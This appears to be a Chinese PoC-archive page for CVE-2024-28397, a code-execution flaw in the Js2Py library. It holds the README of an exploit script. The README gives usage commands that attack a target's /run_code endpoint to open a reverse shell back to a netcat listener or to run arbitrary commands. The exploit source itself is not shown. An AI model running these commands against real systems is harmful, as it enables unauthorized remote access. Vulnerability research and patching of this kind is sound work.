关联漏洞
标题:
Js2Py 安全漏洞
(CVE-2024-28397)
描述:Js2Py是Python基金会的一个库。用于将 JavaScript 转换为 Python 代码。 Js2Py 0.74 及之前版本存在安全漏洞,该漏洞源于组件 js2py.disable_pyimport() 中存在一个问题,攻击者利用该漏洞可以通过精心设计的 API 调用执行任意代码。
介绍
# CVE-2024-28397 RCE Script
Default reverse shell payload and optional command argument allowed
exploit works for js2py <= v0.74
## Requirements
- Python 3.x
- `requests` library (`pip install requests`)
- Netcat listener (for reverse shell)
## Example usage
Reverse shell:
```bash
python exploit.py 10.129.227.108 /run_code --local_ip 10.10.14.71 --local_port 4444
```
Custom command:
```bash
python exploit.py 10.129.227.108 /run_code --cmd "id"
```
文件快照
[4.0K] /data/pocs/c79036aa100d8f5e404d1836e6465c88fca38b63
├── [2.1K] CVE-2024-28397-RCE.py
└── [ 464] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。